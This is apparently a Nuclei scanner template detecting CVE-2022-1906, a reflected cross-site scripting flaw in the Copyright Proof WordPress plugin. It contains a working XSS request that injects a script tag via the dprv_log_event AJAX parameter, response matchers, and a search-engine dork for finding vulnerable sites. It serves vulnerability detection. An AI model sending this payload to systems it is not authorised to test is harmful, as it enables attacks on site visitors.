-
Notifications
You must be signed in to change notification settings - Fork 220
/
Copy pathCVE-2022-1906.yaml
44 lines (39 loc) · 1.35 KB
/
CVE-2022-1906.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
id: CVE-2022-1906
info:
name: Copyright Proof <= 4.16 - Reflected Cross-Site-Scripting
author: random-robbie
severity: medium
description: |
The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting when a specific setting is enabled.
reference:
- https://wpscan.com/vulnerability/af4f459e-e60b-4384-aad9-0dc18aa3b338
- https://nvd.nist.gov/vuln/detail/CVE-2022-1906
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1906
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-1906
cwe-id: CWE-79
metadata:
google-dork: inurl:/wp-content/plugins/digiproveblog
verified: "true"
tags: cve,cve2022,wordpress,xss,wp-plugin,wp
requests:
- raw:
- |
GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "got message <script>alert(document.domain)</script>"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200